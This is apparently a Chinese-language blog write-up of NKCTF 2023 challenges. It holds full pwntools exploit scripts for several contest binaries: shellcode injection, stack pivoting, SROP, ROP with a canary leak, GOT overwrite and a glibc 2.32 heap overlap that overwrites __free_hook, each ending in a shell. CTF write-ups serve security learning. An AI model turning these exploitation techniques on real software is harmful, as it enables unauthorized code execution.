前言
本次比赛pwn题体验尚可,musl的堆管理需要学习,还有很多attack的技术需要学习。本文记录部分做出的题目,有什么好的思路和不对的地方,欢迎各位师傅进行指正。也欢迎交换友链。
贴上基本ak的图片吧QAQ。
misc
三体
应该是个非预期出的,正常来说应该参考这篇文章【技术分享】第五届强网杯2021-Misc-Threebody WriteUp_通道里 (sohu.com)
zsteg一把梭
可以看到反过来的flag。
NKCTF{3d77dc1a37b2d1ebf489c973f554ea10}
pwn
ezshellcode
ret2shellcode,随机跳到buf2的某个位置执行命令
exp
from pwncy import *
context(arch = 'amd64',log_level = "debug")
p,elf,libc = load('pwn',ip_port = "node.yuzhian.com.cn:35629")
debug(p,'no-tmux',0x4011F6)
payload = flat({
# 0x0:
0x70:asm(shellcraft.sh())
},filler = asm("nop"),length = 0x100)
s(payload)
# pause()
itr()
a_story_of_a_pwner
栈菜单,1,2,3都可以写入0x8字节,同时都是连续的地址
另外有个warning函数泄露libc,heart函数可以进行migration
exp
from pwncy import *
context(arch = 'amd64',log_level = "debug")
p,elf,libc = load("pwn",remote_libc = "./libc.so.6",ip_port = "node.yuzhian.com.cn:31111")
pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139e
debug(p,'no-tmux',0x00000000004013D2)
def cmd(choice):
sla("> \n",str(choice))
cmd(2)
s(p64(pop_rdi)) #0x4050A0 ctf-8byte
cmd(4)
ru("I give it up, you can see this. ")
puts_addr = int(r(14),base = 16)
log_addr('puts_addr')
system,binsh,libc_base = local_search("puts",puts_addr,libc)
# pause()
cmd(1)
s(p64(binsh)) #0x4050A8 acm-8byte
cmd(3)
s(p64(system)) #0x4050B0
cmd(4)
migration = flat({
0xa: [0x4050a0 - 0x8,leave_ret]
},length = 0x20,filler = b"\x00")
ru("now, come and read my heart...\n")
s(migration)
itr()
ez_stack
经典的syscall进行read和write
可以找到magic gadget,0fh就是syscall,5就是retn
然后就是普通的srop
exp
from pwncy import *
context(arch = "amd64",log_level = "debug")
p,elf,libc = load('ez_stack',ip_port = "node.yuzhian.com.cn:34535")
syscall_read_xor = 0x00000000004011DC
syscall_read = 0x00000000004011DF
syscall_ret = 0x00000000040114E
syscall = 0x00000000004011DA
debug(p,'no-tmux',0x00000000004011EE)
payload1 = flat({
0x0: b'/bin/sh\x00',
0x8: b'/bin/sh\x00',
0x18: syscall_ret,
0x20: syscall_read,
0x30: syscall_read_xor,
})
sl(payload1)
pause()
s(b"a")
pause()
stack_addr = recv_libc()
log_addr("stack_addr")
execve = SigreturnFrame(kernel = "amd64")
execve.rax = 59
execve.rdi = stack_addr - 0xf2 #0x11a
execve.rsi = 0
execve.rdx = 0
execve.rbp = stack_addr
execve.rip = syscall_ret
execve.rsp = stack_addr
payload2 = flat({
0x10: stack_addr, #rbp
0x18: syscall_ret,
0x20: syscall_ret,
0x28: execve
# 0x30: execve
},filler = p64(stack_addr))
sl(payload2)
pause()
s(b'/bin/sh\x00'.ljust(15,b"\x00"))
itr()
baby_rop
检查保护
一个读取8byte的格式化字符串漏洞。
还有myread函数里面的off by one,可以覆盖rbp的最低位。
同时在call vuln函数内部有leave,另外main里有一个leave,可以栈迁移控制程序流。
所以攻击思路可以参考2023西湖论剑初赛,但是需要用ret进行栈喷射(不知道是不是这么说。
有一点吐槽的就是libc的版本问题,出题人没有给libc,但是libcsearch找不到。不过使用的是Ubuntu20.04的2.31
exp
from pwncy import *
context(arch = 'amd64',log_level = 'debug')
p,elf,libc = load("nkctf_message_boards",ip_port = "comentropy.cn:8302",remote_libc = 'libc.so.6')
ret = 0x000000000040101a
distance = 0x108
pop_rdi = 0x0000000000401413
pop_rbp = 0x00000000004011bd
read_256 = 0x0000000000401351
main = 0x000000000040138C
puts_got = elf.got["puts"]
puts_plt = elf.plt['puts']
debug(p,'no-tmux',0x401340)
payload = flat({
0x0:b"%p%41$p"
})
ru("What is your name: ")
sl(payload)
ru("Hello, ")
stack_addr = int(r(14),base = 16)
log_addr("stack_addr")
fake_rbp = stack_addr + 0x110
log_addr("fake_rbp")
# recv = r(1024)
# print(recv)
canary = int(r(18),base = 16)
log_addr("canary")
# system,binsh,libc_base = local_search("setvbuf",set_buf,libc)
payload2 = flat({
# 0x0:
# 0x100 - 0x20: [pop_rdi,binsh],
# 0x90: system,
0xc8: pop_rbp,
0xd0: fake_rbp,
0xd8: pop_rdi,
0xe0: puts_got,
0xe8: puts_plt,
# 0xf0: read_256,
0xf0: main,
0xf8: canary
},length = 0x100,filler = p64(ret))
ru("What are your comments and suggestions for the NKCTF:")
s(payload2)
puts_addr = recv_libc()
log_addr("puts_addr")
system,binsh,libc_base = local_search("puts",puts_addr,libc)
# system,binsh,libc_base = libc_search("puts",puts_addr)
ru("What is your name: ")
sl("tw0")
payload3 = flat({
# 0x0: [pop_rdi,binsh,system]
0xe0: pop_rdi,
0xe8: binsh,
0xf0:system,
0xf8: canary
},length = 0x100,filler = p64(ret))
ru("What are your comments and suggestions for the NKCTF:")
s(payload3)
itr()
9961code
类似于nu1l今年的比赛,mprotect的开辟一段仅可执行的区域进行命令执行。不过可以输入的shellcode仅有24字节。
exp
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",ip_port="node2.yuzhian.com.cn:39990",remote_libc = "./libc.so.6")
debug(p,'no-tmux','pie',0x139b)
shellcode = """
xor rsi, rsi
lea rdi, [r15 + 0xe]
cdq
mov ax, 59
syscall
"""
ru("In that case, you can only enter a very short shellcode!\n")
s(asm(shellcode)+b"/bin/sh")
itr()
only_read
partial relro,可以修改got。
read栈溢出。只能够调用read函数,需要hijack got,修改read got为syscall。
exp
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",ip_port = "node2.yuzhian.com.cn:39085")
leave_ret = 0x4013c2
add_rbp_3d = 0x000000000040117c #add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp = 0x000000000040117d
pop_rdi = 0x401683
pop_rsi_15 = 0x401681
read_call = 0x4013E1
ret = 0x000000000040101a
log_info(leave_ret)
debug(p,'no-tmux',0x4013E1)
#Welcome to NKCTF!
payload1 = b"V2VsY29tZSB0byBOS0NURiE="
#tell you a secret: b *0x40150A
payload2 = b"dGVsbCB5b3UgYSBzZWNyZXQ6"
#I'M RUNNING ON GLIBC 2.31-0ubuntu9.9
payload3 = b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
#can you find me?
payload4 = b"Y2FuIHlvdSBmaW5kIG1lPw=="
sl(payload1)
pause()
s(payload2)
pause()
s(payload3)
pause()
s(payload4)
pause()
# .text:0000000000401660 mov rdx, r14
# .text:0000000000401663 mov rsi, r13
# .text:0000000000401666 mov edi, r12d
# .text:0000000000401669 call ds:(__frame_dummy_init_array_entry - 403E08h)[r15+rbx*8]
# .text:000000000040166D add rbx, 1
# .text:0000000000401671 cmp rbp, rbx
# .text:0000000000401674 jnz short loc_401660
# .text:0000000000401676 add rsp, 8
# .text:000000000040167A pop rbx
# .text:000000000040167B pop rbp
# .text:000000000040167C pop r12
# .text:000000000040167E pop r13
# .text:0000000000401680 pop r14
# .text:0000000000401682 pop r15
# .text:0000000000401684 retn
def attack():
migration_addr = 0x404500 #read_got = 0x404028
read_64 = 0x4013D0
pd = flat({
0x0: elf.got["read"],
0x30: migration_addr,
0x38: 0x40167A,
0x40: [0x10,migration_addr,0,0,0,0],
0x70: read_64,
},length = 0x78,filler = b'\x00')
sl(pd)
pause()
binsh = 0x4044d8
execve = SigreturnFrame(kernel = "amd64")
execve.rax = 59
execve.rdi = binsh
execve.rsi = 0
execve.rdx = 0
execve.rip = elf.plt['read']
print(type(execve))
pd2 = flat({
0x0: elf.got["read"],
0x8: b'/bin/sh\x00',
0x30: migration_addr + 0x10,
0x38: read_64,
0x40: ret,
0x48: ret,
0x50: pop_rbp,
0x58: elf.got["read"] + 0x3d,
0x60: [add_rbp_3d,elf.plt['read']],
0x70: execve
},filler = b"\x00")
s(pd2)
pause()
pd3 = flat({
0x0:b"/bin/sh\x00"
},length = 0xe,filler = b"\x00")
sl(pd3)
attack()
itr()
值得一提的是,因为读入的数据可以很长,可以直接利用pop rdi rsi的gadget就可以控制read的读入。不需要程序里的read了,可能是看了一天的题,脑子都dump了QAQ。
baby_heap
题目环境 && 存在漏洞
libc-2.32.so,full RELRO
题目的myread函数存在off by one,可以修改next chunk size实现overlapping
攻击思路
2.32未patch同时开启full relro,got表不可写。另外 __free_hook 等在2.34之前都未被patch,因此需要leak libc_base来打 。还有2.32开启的safe linking机制,需要先leak heapbase才能够控制tcache->entry的next位。
exp
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",remote_libc = "./libc-2.32.so",ip_port = "node2.yuzhian.com.cn:31745")
def cmd(choice):
sla("Your choice: ",str(choice))
def add_note(index,size):
cmd(1)
sla("Enter the index: ",str(index))
sla("Enter the Size: ",str(size))
def free_note(index):
cmd(2)
sla("Enter the index: ",str(index))
def show(index):
cmd(4)
sla("Enter the index: ",str(index))
def edit_note(index,content):
cmd(3)
sla("Enter the index: ",str(index))
sa("Enter the content: ",content)
debug(p,'no-tmux','pie',0x1929)
##bypass tcache safe linking -- leak heapbase
add_note(0,0x88)
free_note(0)
add_note(0,0x88)
show(0)
heap_base = u64(ru("\x05",drop = False)[-5:].ljust(8,b"\x00")) << 12
# pause()
for i in range(1,8):
add_note(i,0x88)
add_note(8,0x18)
add_note(9,0x18)
add_note(13,0x18)
for i in range(7):
free_note(i)
# pause()
free_note(7)
# pause()
for i in range(6,-1,-1):
add_note(i,0x88)
# pause()
fix_next_size = flat({
0x88: p8(0xb1)
},length = 0x89,filler = b"\x00")
edit_note(6,fix_next_size)
fix_pre_size = flat({
0x10: p8(0xb0),
0x18: p8(0x20)
},filler = b"\x00",length = 0x19)
edit_note(8,fix_pre_size)
# pause()
##leak libc_base addr
add_note(7,0x88)
show(7)
remote_arena_offset = 0x1e3ba0
local_arena_offset = 0x7f8803a19c80 - 0x7f8803800000
libc_base = recv_libc() - 96 - remote_arena_offset - 0xa0
log_addr("heap_base")
log_addr("libc_base")
__free_hook = libc_base + libc.symbols["__free_hook"]
log_addr("__free_hook")
ogg = libc_base + search_og(1)
log_addr("ogg")
pause()
##apply for mem to make chunk overlapping
add_note(10,0x8) #note 8 and 10
free_note(13) #add 1 to tcache idx
pause()
free_note(8)
fix_tcache_fd = flat({
0x0: (heap_base >> 12) ^ (__free_hook),
},filler = b"\x00",length = 0x9)
edit_note(10,fix_tcache_fd)
add_note(8,0x18)
pause()
add_note(11,0x10)
edit_note(11,flat({
0x0:[ogg],
0x10: p8(0)
},length = 0x11))
free_note(0)
itr()
get flag
bytedance
参考hctf 2018的heap storm zero,利用scanf apply for big chunk,来实现malloc consolidate。就不细说了,下面附上链接。
veritas501/hctf2018: hctf2018 part (the_end,heapstorm_zero,christmas,eazy_dump) (github.com)
标签:nkctf2023,addr,libc,pop,read,ret,execve From: https://www.cnblogs.com/Tw0YY/p/17259848.html